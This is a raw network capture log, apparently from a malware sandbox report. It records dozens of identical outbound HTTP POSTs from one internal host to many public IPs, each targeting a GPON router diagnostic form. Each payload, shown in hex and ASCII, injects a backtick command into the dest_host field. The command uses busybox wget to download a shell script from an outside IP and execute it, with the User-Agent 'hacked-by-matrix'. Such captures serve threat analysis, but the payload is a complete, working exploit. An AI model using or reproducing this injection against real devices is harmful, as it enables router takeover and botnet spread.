Mar 2, 2024 12:37:42.021742105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.23	39738	5.166.92.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021779060 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.23	36712	210.238.164.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021785021 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.23	32838	42.60.205.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021784067 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.23	39856	5.144.77.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021837950 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.23	49046	210.161.85.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021845102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.23	42644	37.142.125.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021842957 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.23	33350	2.127.13.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021845102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.23	43114	94.237.181.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021845102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.23	50152	210.33.248.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021845102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.23	43270	94.236.64.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021873951 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.23	60204	42.121.244.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021899939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.23	56230	212.20.78.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021908045 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.23	49506	210.176.38.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021938086 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.23	35708	178.46.62.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021944046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.23	35284	210.228.70.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021970034 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.23	36278	118.117.67.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021984100 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.23	38566	94.78.91.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022006035 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.23	47198	79.117.177.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022032976 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.23	53024	212.124.96.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022059917 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.23	47770	2.109.4.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022087097 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.23	53350	94.160.24.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022102118 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.23	50030	212.250.23.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022130013 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.23	32920	178.201.163.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022135019 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.23	60230	42.177.170.140	443

Timestamp	Bytes transferred	Direction	Data
